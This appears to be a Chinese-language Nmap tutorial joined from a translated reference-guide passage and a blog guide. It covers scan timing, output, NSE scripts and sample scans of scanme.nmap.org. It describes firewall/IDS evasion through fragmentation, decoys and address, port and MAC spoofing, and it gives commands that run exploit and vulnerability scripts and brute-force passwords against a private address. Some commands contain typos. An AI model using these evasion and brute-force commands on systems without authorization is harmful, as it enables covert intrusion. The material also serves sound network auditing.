上述优化时间控制选项的功能很强大也很有效,但有些用户会被迷惑,往往造成选择合适参数的时间超过了所需优化的扫描时间。因此, Nmap提供了一些简单的方法,使用6个时间模板,使用时采用-T选项及数字(0 - 5) 或名称。模板名称有paranoid (0)、sneaky (1)、polite (2)、normal(3)、 aggressive (4)和insane (5) 。前两种模式(T0、T1)用于IDS躲避,Polite模式(T2)降低了扫描速度以使用更少的带宽和目标主机资源。 默认模式为Normal(T3),因此 -T3实际上是未做任何优化 。Aggressive模式(T4)假设用户具有合适及可靠的网络从而加速扫描。Insane模式(T5)假设用户具有特别快的网络或者愿意为获得速度而牺牲准确性。用户可以根据自己的需要选择不同的模板,由Nmap负责选择实际的时间值。
模板也会针对其它的优化控制选项进行速度微调。 例如,-T4 针对TCP端口禁止动态扫描延迟超过10ms,-T5对应的值为5ms。 模板可以和优化调整控制选项组合使用,但模板必须首先指定,否则其标准值会覆盖用户指定的值。建议在扫描可靠的网络时使用 -T4,即使在自己要增加优化控制选项时也使用(在命令行的开始),从而从这些额外的较小的优化中获益。
如果用于有足够的带宽或以太网连接,仍然建议使用-T4选项。 有些用户喜欢-T5选项,但这个过于强烈。有时用户考虑到避免使主机崩溃或者希望更礼貌一些会采用-T2选项。他们并没意识到-T Polite选项是如何慢,这种模式的扫描比默认方式实际上要多花10倍的时间。默认时间选项(-T3)很少有主机崩溃和带宽问题,比较适合于谨慎的用户。不进行版本检测比进行时间调整能更有效地解决这些问题。
虽然-T0和-T1选项可能有助于避免IDS告警,但在进行上千个主机或端口扫描时,会显著增加时间。对于这种长时间的扫描,宁可设定确切的时间值,而不要去依赖封装的-T0和-T1选项。
T0选项的主要影响是对于连续扫描,在一个时间只能扫描一个端口, 每个探测报文的发送间隔为5分钟。T1和T2选项比较类似,探测报文间隔分别为15秒和0.4秒。T3是Nmap的默认选项,包含了并行扫描。T4选项与 –max-rtt-timeout 1250 –initial-rtt-timeout 500 等价,最大TCP扫描延迟为10ms。T5等价于 –max-rtt-timeout 300 –min-rtt-timeout 50 –initial-rtt-timeout 250 –host-timeout 900000,最大TCP扫描延迟为5ms。
防火墙/IDS躲避和欺骗
很多Internet先驱们设想了一个全球开放的网络,使用全局的IP地址空间,使得任何两个节点之间都有虚拟连接,这使得主机间可以作为真正的对等体,相互间提供服务和获取信息。
然而,这些全球连接的设想受到了地址空间短缺和安全考虑的限制。在90年代早期,各种机构开始部署防火墙来实现减少连接的目的,大型网络通过代理、NAT和包过滤器与未过滤的Internet隔离。不受限的信息流被严格控制的可信通信通道信息流所替代。
类似防火墙的网络隔离使得对网络的搜索更加困难,随意的搜索变得不再简单。然而,Nmap提供了很多特性用于理解这些复杂的网络,并且检验这些过滤器是否正常工作。此外,Nmap提供了绕过某些较弱的防范机制的手段。检验网络安全状态最有效的方法之一是尝试欺骗网络,将自己想象成一个攻击者,使用本节提供的技术来攻击自己的网络。如使用FTP bounce扫描、Idle扫描、分片攻击或尝试穿透自己的代理。
有时也会出现不同的意见,比如建议Nmap不应该提供躲闭防火墙规则或欺骗IDS的功能, 这些功能可能会被攻击者滥用,然而管理员却可以利用这些功能来增强安全性。实际上,即便是关闭Nmap绕过或者欺骗的功能,其他的攻击方法仍可被攻击者利用,他们可以发现其它工具或Nmap的补丁程序。同时,管理员发现攻击者的工作更加困难,相较于采取措施来预防执行FTP Bounce攻击的工具而言,部署先进的、打过补丁的FTP服务器更加有效。
-f (报文分段); –mtu (使用指定的MTU)
扫描时(包挺ping扫描)使用小的IP包分段,其思路是将TCP头分段在几个包中,使得包过滤器、IDS以及其它工具的检测更加困难。
必须小心使用这个选项,有些系统在处理这些小包时存在问题,例如旧的网络嗅探器Sniffit在接收到第一个分段时会立刻出现分段错误。该选项使用一次,Nmap在IP头后将包分成8个字节或更小。因此,一个20字节的TCP头会被分成3个包,其中2个包分别有TCP头的8个字节,另1个包有TCP头的剩下4个字节。当然,每个包都有一个IP头。再次使用-f可使用16字节的分段(减少分段数量)。使用–mtu选项可以自定义偏移的大小,使用时不需要-f,偏移量必须是8的倍数。包过滤器和防火墙对所有的IP分段排队,如Linux核心中的 CONFIG-IP-ALWAYS-DEFRAG 配置项,分段包不会直接使用。一些网络无法承受这样所带来的性能冲击,会将这个配置禁止。其它禁止的原因有分段包会通过不同的路由进入网络。一些源系统在内核中对发送的报文进行分段,使用iptables连接跟踪模块的Linux就是一个例子。当使用类似Ethereal的嗅探器时,扫描必须保证发送的报文要分段。如果主机操作系统会产生问题,尝试使用–send-eth选项以避开IP层而直接发送原始的以太网帧。
-D <decoy1 [,decoy2][,ME],…> (使用诱饵隐蔽扫描)
为使诱饵扫描起作用,需要使远程主机认为是诱饵在扫描目标网络。
IDS可能会报个某个IP的5-10个端口扫描,但并不知道哪个IP在扫描以及 哪些不是诱饵。但这种方式可以通过路由跟踪、响应丢弃以及其它主动 机制在解决。这是一种常用的隐藏自身IP地址的有效技术。使用逗号分隔每个诱饵主机,也可用自己的真实IP作为诱饵,这时可使用 ME选项说明。如果在第6个位置或 更后的位置使用ME选项,一些常用 端口扫描检测器(如Solar Designer's excellent scanlogd)就不会报告 这个真实IP。如果不使用ME选项,Nmap 将真实IP放在一个随机的位置注意,作为诱饵的主机须在工作状态,否则会导致目标主机的SYN洪水攻击。 如果在网络中只有一个主机在工作,那就很容易确定哪个主机在扫描。也可 使用IP地址代替主机名(被诱骗的网络就不可能在名字服务器日志中发现)。诱饵可用在初始的ping扫描(ICMP、SYN、ACK等)阶段或真正的端口扫描 阶段。诱饵也可以用于远程操作系统检测(-O)。在进行版 本检测或TCP连接扫描时,诱饵无效。使用过多的诱饵没有任何价值,反而导致扫描变慢并且结果不准确。 此外,一些ISP会过滤欺骗的报文,但很多对欺骗IP包没有任何限制。
-S <IP_Address> (源地址欺骗)
在某些情况下,Nmap可能无法确定扫描源地址(如果这样,Nmap会给出提示),
此时,可以使用-S选项并说明所需发送包的接口IP地址。这个标志的另一个用处是欺骗性的扫描,使得目标认为是另一个地址在进行扫描。
–source-port ; -g (源端口欺骗)
仅依赖于源端口号就信任数据流是一种常见的错误配置,这个问题非常好理解。例如一个管理员部署了一个新的防火墙,
但招来了很多用户的不满,因为他们的应用停止工作了。可能是由于外部的UDP DNS服务器响应无法进入网络,而导致DNS的崩溃。FTP是另一个常见的例子,
在FTP传输时,远程服务器尝试和内部用户建立连接以传输数据。
对这些问题有安全解决方案,通常是应用级代理或协议分析防火墙模块,但也存在一些不安全的方案。
注意到DNS响应来自于53端口,FTP连接来自于20端口,很多管理员会掉入一个陷阱,即允许来自于这些端口的数据进入网络。
他们认为这些端口里不会有值得注意的攻击和漏洞利用。此外,管理员或许认为这是一个短期的措施,直至他们采取更安全的方案。但他们忽视了安全的升级。
不仅仅是工作量过多的网络管理员掉入这种陷阱,很多产品本身也会有这类 不安全的隐患,
甚至是微软的产品,Windows 2000和WindowsXP中包含的IPsec过滤器也包含了一些隐含规则,允许所有来自88端口(Kerberos)的TCP和UDP数据流。另一个常见的例子是Zone Alarm个人防火墙到2.1.25版本仍然允许源端口53(DNS)或67(DHCP)的UDP包进入。
Nmap提供了-g和–source-port选项(它们是等价的),用于利用上述弱点, 只需要提供一个端口号,Nmap就可以从这些端口发送数据。为使特定的操作系统正常工作,Nmap必须使用不同的端口号。DNS请求会忽略–source-port选项,这是因为Nmap依靠系统库来处理。大部分TCP扫描,包括SYN扫描,可以完全支持这些选项,UDP扫描同样如此。
–data-length (发送报文时附加随机数据)
正常情况下,Nmap发送最少的报文,只含一个包头,TCP包通常是40字节,ICMP ECHO请求只有28字节。这个选项告诉Nmap在发送的报文上附加指定数量的随机字节,操作系统检测(-O)包不受影响,但大部分ping和端口扫描包受影响,这会使处理变慢,但对扫描的影响较小。
–ttl (设置IP time-to-live域)
设置IPv4报文的time-to-live域为指定的值。–randomize-hosts (对目标主机的顺序随机排列)告诉Nmap在扫描主机前对每个组中的主机随机排列,最多可达 8096个主机。这会使得扫描针对不同的网络监控系统来说变得不是很 明显,特别是配合值较小的时间选项时更有效。如果需要对一个较大的组进行随机排列,需要增大nmap.h文件中 PING-GROUP-SZ的值,并重新编译。另一种方法是使用列表扫描 (-sL -n -oN ),产生目标IP的列表, 使用Perl脚本进行随机化,然后使用-iL提供给Nmap。
–spoof-mac <mac address,prefix,or vendor name> (MAC地址欺骗)
要求Nmap在发送原以太网帧时使用指定的MAC地址,这个选项隐含了 –send-eth选项,以保证Nmap真正发送以太网包。MAC地址有几种格式。如果简单地使用字符串“0”,Nmap选择一个完全随机的MAC 地址。如果给定的字符品是一个16进制偶数(使用:分隔),Nmap将使用这个MAC地址。 如果是小于12的16进制数字,Nmap会随机填充剩下的6个字节。如果参数不是0或16进制字符串,Nmap将通过nmap-mac-prefixes查找 厂商的名称(大小写区分),如果找到匹配,Nmap将使用厂商的OUI(3字节前缀),然后随机填充剩余的3个节字。正确的–spoof-mac参数有:Apple,0,01:02:03:04:05:06,deadbeefcafe,0020F2和Cisco。
输出
任何安全工具只有在输出结果时才是有价值的,如果没有通过组织和易于理解的方式来表达,复杂的测试和算法几乎没有意义。
Nmap提供了一些方式供用户和其它软件使用,实际上,没有一种方式可以使所有人满意。 因此Nmap提供了一些格式,包含了方便直接查看的交互方式和方便软件处理的XML格式。除了提供输出格式外,Nmap还提供了选项来控制输出的细节以及调试信息。输出内容可发送给标准输出或命名文件,可以追加或覆盖。输出文件还可被用于继续中断的扫描。
Nmap提供5种不同的输出格式。默认的方式是interactive output, 发送给标准输出(stdout)。normaloutput方式类似于interactive,但显示较少的运行时间信息和告警信息,这是由于这些信息是在扫描完全结束后用于分析,而不是交互式的。XML输出是最重要的输出类型,可被转换成HTML,对于程序处理非常方便, 如用于Nmap图形用户接口或导入数据库。另外两种输出类型比较简单,grepable output格式,在一行中包含目标主机最多的信息;sCRiPt KiDDi3 0utPUt 格式,用于考虑自己的用户 |<-r4d。
交互式输出是默认方式,没有相应的命令行选项,其它四种格式选项使用相同的语法,采用一个参数,即存放结果的文件名。多种格式可同时使用,但一种格式只能使用一次。例如,在标准输出用于查看的同时,可将结果保存到XML文件用于程序分析,这时可以使用选项-oX myscan.xml -oN myscan.nmap。 为便于描述的简化,本章使用类似于myscan.xml的简单文件名, 建议采用更具有描述性的文件名。文件名的选择与个人喜好有关,建议增加 扫描日期以及一到两个单词来描述,并放置于一个目录中。
在将结果输出到文件的同时,Nmap仍将结果发送给标准输出。例如, 命令nmap -oX myscan.xmltarget将输出XML至myscan.xml,并在stdout上打印相同的交互式结果,而此时-oX选项没有采用。可以使用连字符作为选项来改变,这使得Nmap禁止交互式输出,而是将结果打印到所指定的标准输出流中。因此,命令nmap -oX - target只 输出XML至标准输出stdout,严重错误仍然是输出到标准错误流stderr中。
与其它Nmap参数不同,日志文件选项的空格(如-oX)和文件名或连字符是必需的。如果省略了标记,例如-oG-或 -oXscan.xml,Nmap的向后兼容特点将建立标准格式的输出文件,相应的文件名为G-和Xscan.xml。
Nmap还提供了控制扫描细节以及输出文件的添加或覆盖的选项,这些选项如下所述。
Nmap输出格式
-oN (标准输出)
要求将标准输出直接写入指定的文件。
-oX (XML输出)
要求XML输出直接写入指定的文件。Nmap包含了一个文档类型定义(DTD),使XML解析器有效地进行XML输出。这主要是为了程序应用,同时也可以协助人工解释 Nmap的XML输出。DTD定义了合法的格式元素,列举可使用的属性和 值。最新的版本可在 http://www.insecure.org/nmap/data/nmap.dtd 获取。
XML提供了可供软件解析的稳定格式输出,主要的计算机 语言都提供了免费的XML解析器,如C/C++,Perl,Python和Java。 针对这些语言有一些捆绑代码用于处理Nmap的输出和特定的执行程序。 例如perl CPAN中的Nmap::Scanner 和Nmap::Parser。 对几乎所有与Nmap有接口的主要应用来说,XML是首选的格式。
XML输出引用了一个XSL样式表,用于格式化输出结果,类似于 HTML。最方便的方法是将XML输出加载到一个Web浏览器,如Firefox 或IE。由于nmap.xsl文件的绝对 路径,因此通常只能在运行了Nmap的机器上工作(或类似配置的机器)。类似于任何支持Web机器的HTML文件,–stylesheet 选项可用于建立可移植的XML文件。
细节和调试选项
-v (提高输出信息的详细度)
通过提高详细度,Nmap可以输出扫描过程的更多信息 。 输出发现的打开端口,若Nmap认为扫描需要更多时间会显示估计的结束时间。这个选项使用两次,会提供更详细的信息。这个选项使用两次以上不起作用。大部分的变化仅影响交互式输出,也有一些影响标准和脚本小子输出。其它输出类型由机器处理,此时Nmap默认提供详细的息,不需要人工干预。然而,其它模式也会有一些变化,省略一些细节可以减小输出大小。例如,Grep输出中的注释行提供所有扫描端口列表,但由于这些信息过长,因此只能在细节模式中输出。
-d [level] (提高或设置调试级别)
当详细模式也不能为用户提供足够的数据时,使用调试可以得到更多的信息。使用细节选项(-v)时,可启用命令行参数 (-d),多次使用可提高调试级别。也可在-d 后面使用参数设置调试级别。例如,-d9设定级别9。这是 最高的级别,将会产生上千行的输出,除非只对很少的端口和目标进行简单扫描。如果Nmap因为Bug而挂起或者对Nmap的工作及原理有疑问,调试输出非常有效。主要是开发人员用这个选项,调试行不具备自我解释的特点。 例如,Timeoutvals: srtt: -1 rttvar: -1to: 1000000 delta 14987 ==> srtt: 14987 rttvar: 14987 to: 100000。如果对某行输出不明白,可以忽略、查看源代码或向开发列表(nmap-dev)求助。有些输出行会有自 我解释的特点,但随着调试级别的升高,会越来越含糊。
其它选项
本节描述一些重要的(和并不重要)的选项,这些选项不适合其它任何地方。
-6 (启用IPv6扫描)
从2002年起,Nmap提供对IPv6的一些主要特征的支持。ping扫描(TCP-only)、 连接扫描以及版本检测都支持IPv6。除增加-6选项外, 其它命令语法相同。当然,必须使用IPv6地址来替换主机名,如 3ffe:7501:4819:2000:210:f3ff:fe03:14d0。 除“所关注的端口”行的地址部分为IPv6地址。IPv6目前未在全球广泛采用,目前在一些国家(亚洲)应用较多,一些高级操作系统支持IPv6。使用Nmap的IPv6功能,扫描的源和目的都需要配置IPv6。如果ISP(大部分)不分配IPv6地址,Nmap可以采用免费的隧道代理。一种较好的选择是BT Exact,位于https://tb.ipv6.btexact.com/。 此外,还有Hurricane Electric,位于http://ipv6tb.he.net/ 。6to4隧道是另一种常用的免费方法。
实例
下面给出一些实例,简单的、复杂的到深奥的。为更具体,一些例子使用了实际的IP地址和域名。在这些位置,可以使用你自己网络的地址/域名替换。注意,扫描其它网络不一定合法,一些网络管理员不愿看到未申请过的扫描,会产生报怨。因此,先获得允许是最好的办法。
如果是为了测试,scanme.nmap.org 允许被扫描,但仅允许使用Nmap扫描并禁止测试漏洞或进行DoS攻击。为 保证带宽,对该主机的扫描每天不要超过12次。如果这个免费扫描服务被滥用,系统将崩溃而且Nmap将报告解析 指定的主机名/IP地址失败:scanme.nmap.org。这些免费扫描要求也适用于scanme2/3.nmap.org等等,虽然这些主机目前还不存在。
扫描主机scanme.nmap.org中所有的保留TCP端口,选项-v启用细节模式。
nmap -v scanme.nmap.org
进行秘密SYN扫描,对象为主机scanme所在的“C类”网段的255台主机。同时尝试确定每台工作主机的操作系统类型。因为进行SYN扫描和操作系统检测,这个扫描需要有根权限。
nmap -sS -O scanme.nmap.org/24
进行主机列举和TCP扫描,对象为B类198.116网段中255个8位子网。这个测试用于确定系统是否运行了sshd、DNS、imapd或4564端口。如果这些端口打开,将使用版本检测来确定哪种应用在运行。
nmap -sV -p 22,53,110,143,4564 198.116.0-255.1-127
nmap-诸神之眼
- nmap 安装和基本使用
- 列举远程机器服务端口
- 识别目标机器上的服务指纹
- 发现局域网中存活主机
- 端口探测技巧
- NSE 脚本使用
- 使用特定网卡进行探测
- 对比扫描结果 ndiff
- 可视化 nmap 的使用
nmap 安装和基本使用
nmap 介绍
nmap 是一款开源、免费的网络探测、安全审计工具
nmap 发送数据包通过网络设备到达网络服务器,如 web 服务器、邮件服务器、OA 服务器,服务器接收到数据包后返回响应数据,nmap 通过返回信息分析出有用的信息,如探测服务器的存活性、开发服务、对目标进行安全审计。
nmap 获取
nmap 官网:https://nmap.org
windows 安装 nmap
https://nmap.org/download.html 下载对应 exe 文件,双击安全。安全过程会提供安装 npcap 程序同意即可。
nmap-7.94-setup.exe
其它操作系统安装 nmap,查阅官方说明安装。
nmap -h 查看帮助
列举远程机器服务端口
列举远程机器服务端口原理
nmap 首先判断 nmap 输入的命令行中是否包含域名,如果包含需要利用 dns 服务器进行解析,然后发送 ICMP Echo Request 来探测主机存活性。如果主机存活,则发送其他数据包,nmap 根据远程目标返回的数据包分析。
列举远程机器开放端口
# nmap scame.nmap.org Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-16 15:29 CST Nmap scan report for scame.nmap.org (45.33.49.119) # 域名对应 ip 地址 Host is up (0.14s latency). Other addresses for scame.nmap.org (not scanned): 2600:3c01:e000:3e6::6d4e:7061 rDNS record for 45.33.49.119: ack.nmap.org Not shown: 993 filtered tcp ports (no-response) PORT STATE SERVICE 22/tcp open ssh 25/tcp open smtp 70/tcp closed gopher 80/tcp open http 113/tcp closed ident 443/tcp open https 31337/tcp closed Elite
nmap 进行探测之前要把域名解析为 ip 地址,也可以指定dns 服务器进行解析。 使用 –dns-servers 参数来指定
nmap --dns-servers 8.8.8.8 scanme.nmap.org
对于已经知道主机存活或者防火墙开启的机器,可以使用 -Pn
参数来停止探测之前的 ICMP 请求。已达到不触发防火墙安全机制。
nmap -Pn scanme.nmap.org
对于默认的端口范围,并不能满足日常工作需要。可以使用 -p m-n
来指定探测端口范围为 m-n 之间的所有端口。
nmap -p 1-1000 scanme.nmap.org
端口状态
- open(开放的)
- closed(关闭的)
- filtered(被过滤的无法收到返回的 probe 状态)
- unfiltered(未被过滤的,收到返回的 probe,但是无法确认)
- open|filtered(开放或者被过滤的)
- closed|filtered(关闭或者被过滤的)
识别目标机器上的服务指纹
服务指纹
为了确保有一个成功的渗透测试或者网络设备监控,必须需要知道目标系统中服务的指纹信息。服务指纹信息包括服务端口、服务名和版本等。
通过分析目标往 nmap 发送的数据包中某些协议标记、选项和数据,我们可以推断发送这些数据包的操作系统等。
nmap 通过向目标主机发送多个 UDP 与 TCP 数据包并分析其响应来进行操作系统指纹识别工作。
nmap 识别服务指纹
使用 nmap -sV IP
地址来识别目标机器的服务信息(端口、状态、服务名称、服务版本或进程)。
# nmap -sV scanme.nmap.org Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-16 17:40 CST Nmap scan report for scanme.nmap.org (45.33.32.156) Host is up (0.18s latency). Other addresses for scanme.nmap.org (not scanned): 2600:3c01::f03c:91ff:fe18:bb2f Not shown: 996 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) 9929/tcp open nping-echo Nping echo 31337/tcp open tcpwrapped Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.78 seconds
nmap 侵略性探测
使用 nmap -A -v -T4 IP
地址来探测目标机器的操作系统、服务等信息。
选项说明
- -A 表示启动侵略性探测。操作系统检测、版本检测、脚本扫描和线路追踪。比较耗时。
- -v 增加详细输出,-vv 更加详细
- -T4 加快速度探测。T0-T5 共 6 个时间模板。默认 T3。
模板名称有paranoid (0)、sneaky (1)、polite (2)、normal(3)、 aggressive (4)和insane (5)。Aggressive模式(T4)假设用户具有合适及可靠的网络从而加速扫描。Insane模式(T5)假设用户具有特别快的网络或者愿意为获得速度而牺牲准确性。
# nmap -A -v -T4 45.33.32.156 Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-16 18:08 CST NSE: Loaded 156 scripts for scanning. # 加载脚本 NSE: Script Pre-scanning. Initiating NSE at 18:08 Completed NSE at 18:08, 0.00s elapsed Initiating NSE at 18:08 Completed NSE at 18:08, 0.00s elapsed Initiating NSE at 18:08 Completed NSE at 18:08, 0.00s elapsed Initiating Ping Scan at 18:08 #启动 Ping 扫描,扫描 IP 端口 Scanning 45.33.32.156 [4 ports] Completed Ping Scan at 18:08, 0.15s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 18:08 #启动 DNS 解析 Completed Parallel DNS resolution of 1 host. at 18:08, 0.00s elapsed Initiating SYN Stealth Scan at 18:08 #启动 SYN 隐形扫描 Scanning scanme.nmap.org (45.33.32.156) [1000 ports] Discovered open port 80/tcp on 45.33.32.156 Discovered open port 22/tcp on 45.33.32.156 Discovered open port 31337/tcp on 45.33.32.156 Discovered open port 9929/tcp on 45.33.32.156 Completed SYN Stealth Scan at 18:08, 6.87s elapsed (1000 total ports) Initiating Service scan at 18:08 #启动服务扫描 Scanning 4 services on scanme.nmap.org (45.33.32.156) Completed Service scan at 18:08, 6.32s elapsed (4 services on 1 host) Initiating OS detection (try #1) against scanme.nmap.org (45.33.32.156) #启动操作系统检测 Retrying OS detection (try #2) against scanme.nmap.org (45.33.32.156) Initiating Traceroute at 18:08 #启动线路追踪 Completed Traceroute at 18:08, 5.37s elapsed Initiating Parallel DNS resolution of 10 hosts. at 18:08 #正在启动 N 台主机的并行DNS解析 Completed Parallel DNS resolution of 10 hosts. at 18:08, 0.07s elapsed NSE: Script scanning 45.33.32.156. # NSE 扫描 Initiating NSE at 18:08 Completed NSE at 18:08, 5.34s elapsed Initiating NSE at 18:08 Completed NSE at 18:08, 0.59s elapsed Initiating NSE at 18:08 Completed NSE at 18:08, 0.01s elapsed Nmap scan report for scanme.nmap.org (45.33.32.156) #Nmap 扫描报告 Host is up (0.15s latency). Not shown: 996 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 ac:00:a0:1a:82:ff:cc:55:99:dc:67:2b:34:97:6b:75 (DSA) | 2048 20:3d:2d:44:62:2a:b0:5a:9d:b5:b3:05:14:c2:a6:b2 (RSA) | 256 96:02:bb:5e:57:54:1c:4e:45:2f:56:4c:4a:24:b2:57 (ECDSA) |_ 256 33:fa:91:0f:e0:e1:7b:1f:6d:05:a2:b0:f1:54:41:56 (ED25519) 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-favicon: Nmap Project |_http-title: Go ahead and ScanMe! |_http-server-header: Apache/2.4.7 (Ubuntu) 9929/tcp open nping-echo Nping echo 31337/tcp open tcpwrapped Aggressive OS guesses: Linux 4.15 - 5.8 (93%), Linux 5.3 - 5.4 (93%), Linux 2.6.32 (92%), Linux 5.0 - 5.5 (92%), Linux 3.1 (91%), Linux 3.2 (91%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (91%), Linux 5.0 (90%), Linux 5.0 - 5.4 (90%), Linux 2.6.39 - 3.2 (90%) No exact OS matches for host (test conditions non-ideal). Uptime guess: 8.621 days (since Fri Dec 8 03:14:59 2023) Network Distance: 21 hops TCP Sequence Prediction: Difficulty=264 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 111/tcp) HOP RTT ADDRESS 1 ... 2 3 7.66 ms 10.162.72.105 4 ... 5 10.00 ms 10.162.5.110 6 2.48 ms 101.226.210.77 7 ... 8 5.92 ms 101.95.224.177 9 ... 10 9.18 ms 202.97.85.198 11 151.73 ms 202.97.27.214 12 150.29 ms 218.30.54.245 13 155.55 ms if-ae-6-20.tcore1.eql-losangeles.as6453.net (64.86.252.66) 14 147.57 ms 207.45.208.13 15 183.66 ms a23-203-158-53.deploy.static.akamaitechnologies.com (23.203.158.53) 16 ... 20 21 178.16 ms scanme.nmap.org (45.33.32.156) NSE: Script Post-scanning. Initiating NSE at 18:08 Completed NSE at 18:08, 0.00s elapsed Initiating NSE at 18:08 Completed NSE at 18:08, 0.00s elapsed Initiating NSE at 18:08 Completed NSE at 18:08, 0.00s elapsed Read data files from: /usr/local/bin/../share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 29.20 seconds Raw packets sent: 1122 (50.964KB) | Rcvd: 1104 (46.388KB)
使用 nmap -sC -sV -O IP
地址来探测目标机器的操作系统、服务等信息。
选项说明
- -sC 表示使用 nmap 脚本进行探测。相当于 –script=default
- -sV 表示探测目标机器上的服务信息
- -O 表示探测目标机器的操作系统信息
nmap -sC -sV -O scanme.nmap.org
发现局域网中存活主机
主机发现
一个局域网中肯定是连接着多台设备,那么我们如何获取哪些设备正在开机状态呢?
- 使用 ping ip 地址进行探测,但是如果一个网络很大的情况下,这样的手工探测显得很费劲
- 可以使用不同的工具来进行批量探测,在探测之前需要明白 CIDR 的含义。
CIDR (无类别域间路由,Classless Inter-Domain Routing),可以快速表示一个网络。如 172.16.1.1/24 表示在 172.16.1.1 到 172.16.1.255 之间的 IP。
Nmap 主机发现
使用 Nmap 命令: nmap -sP CIDR
对该网络中所有主机进行 ping 扫描,以探测主机存活性。扫描过程中使用了 TCP SYN 扫描、ICMP echo Request 来探测主机存活。 -sn
与其结果一致
nmap -sP 172.16.1.1/24 nmap -sn 172.16.1.1/24
nmap 主机发现,结果输出
使用 Nmap 命令: nmap -sn CIDR -oX test.xml
对该网络中所有主机进行 ping 扫描,以探测主机存活性。同时将结果输出到 test.xml 文件中。
nmap -sn 172.16.1.1/24 -oX test.xml
端口探测技巧
实际场景
在实际环境中,当系统管理员对设备进行管理时,或者渗透测试人员对设备进行检测时,并不一定对所有的服务进行操作。极有可能是对某个或者某个范围内的服务进行检测。
如果对所有服务进行探测,那么就会出现耗时长,费力不讨好的情况。针对这样的情况,我们很有必要了解如何使用 Nmap 来更加灵活的进行服务探测,避免全端口探测对服务器造成的压力。
端口探测技巧
- 对某个端口进行探测
nmap -p80 scanme.nmap.org
- 对某几个端口进行探测
nmap -p80,22,9929 scanme.nmap.org
- 对某个范围端口进行探测
nmap -p1-100 scanme.nmap.org
- 对所有端口进行探测
nmap -p- scanme.nmap.org
- 指定协议探测端口
nmap -p T:25,U:53 scanme.nmap.org
- 通过协议名来扫描端口
nmap -p smtp scanme.nmap.org
- 通过名称范围扫描
nmap -p s* scanme.nmap.org
- 扫描注册在 nmap 中的端口
nmap -p [1-65535] scanme.nmap.org
NSE 脚本使用
NSE 介绍
NSE(Nmap Script Engine) Nmap 脚本引擎,内置很多可以用来扫描的、针对特定任务的脚本。
通过 NSE 可以不断拓展 Nmap 的扫描策略,加强 Nmap 的功能。
Nmap 中使用 --script
参数来指定调用的脚本,并且脚本存储在 Nmap 安装路径下的 script 文件夹下,对于 kali Linux 存储在 /usr/share/nmap/script
下,源码安装的在 /usr/local/share/nmap/script
下
NSE 使用
使用 Nmap 探测 web 服务的 title 信息。 nmap --script 脚本名称 目标
# nmap --script http-title scanme.nmap.org Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-16 19:43 CST Nmap scan report for scanme.nmap.org (45.33.32.156) Host is up (0.15s latency). Other addresses for scanme.nmap.org (not scanned): 2600:3c01::f03c:91ff:fe18:bb2f Not shown: 996 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http |_http-title: Go ahead and ScanMe! 9929/tcp open nping-echo 31337/tcp open Elite
- 探测 http 服务的 http 头
nmap --script http-headers 目标
NSE 分类使用
对于目标使用多个分类脚本进行探测,可以更快的找到目标的信息与弱点。
官方文档: https://nmap.org/book/nse-usage.html#nse-categories
- auth:负责处理鉴权证书(绕开鉴权)的脚本
- broadcast:在局域网内探查更多服务开启状况,如dhcp / dns / sqlserver 等服务
- brute:提供暴力破解方式,针对常见的应用如http / snmp等
- default:使用 -sC或 -A 选项扫描时候默认的脚本,提供基本脚本扫描能力
- discovery:对网络进行更多的信息,如SMB枚举、SNMP查询等
- dos:用于进行拒绝服务攻击
- exploit:利用已知的漏洞入侵系统
- external:利用第三方的数据库或资源,例如进行whois解析
- fuzzer:模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞
- intrusive:入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽
- malware:探测目标机是否感染了病毒、开启了后门等信息
- safe:此类与intrusive相反,属于安全性脚本
- version:负责增强服务与版本扫描(Version Detection)功能的脚本
- vuln:负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_067
使用:
- 使用漏洞分类脚本对目标进行探测
nmap -sV --scirpt vuln 目标
- 使用发现和版本信息分类进行探测
nmap -p3306 --script='version,discovery' 目标
- 使用除了 exploit 外其他分类进行探测
nmap -sV --script='not expolit' 目标
- 使用 http* 的脚本,但是除了 (http-brute, http-slowlors)
nmap -sV --script "(http*) and not (http-slowlors and http-brute)" 目标
NSE 调试功能的使用
-d debug 范围0~9
–script-trace 显示发送和接收的所有数据
使用 Nmap 中 exploit,但是在使用的同时开启调试模式。 nmap -sV --script exploit -d 3 --script-trace 目标
NSE 参数的使用
使用 nmap 的 http-title 脚本,并且指定使用对应的 User-Agent。
nmap -sV --script http-title --script-args http.useragent="Mozilla 99" <target>
使用字典爆破
nmap -p3306 --script=brute --script-args 'userdb=./usertest.txt,passdb=./password-500.txt' 192.168.112.188
NSE 更新
nmap --script-updatedb
使用特定网卡进行探测
情景介绍
Nmap 是一款可拓展性强的工具,并且有些 NSE 脚本支持嗅探。但是这种功能需要网卡支持混杂模式才可以。或者当计算机上有 2 张网卡对应的不同网络。
Nmap 中提供了切换使用特定网卡进行探测的参数 -e
指定网卡进行探测
格式
nmap -e interface CIDR
范例:
nmap -e eth0 192.168.1.1/24
–iflist 输出主机网卡和路由信息
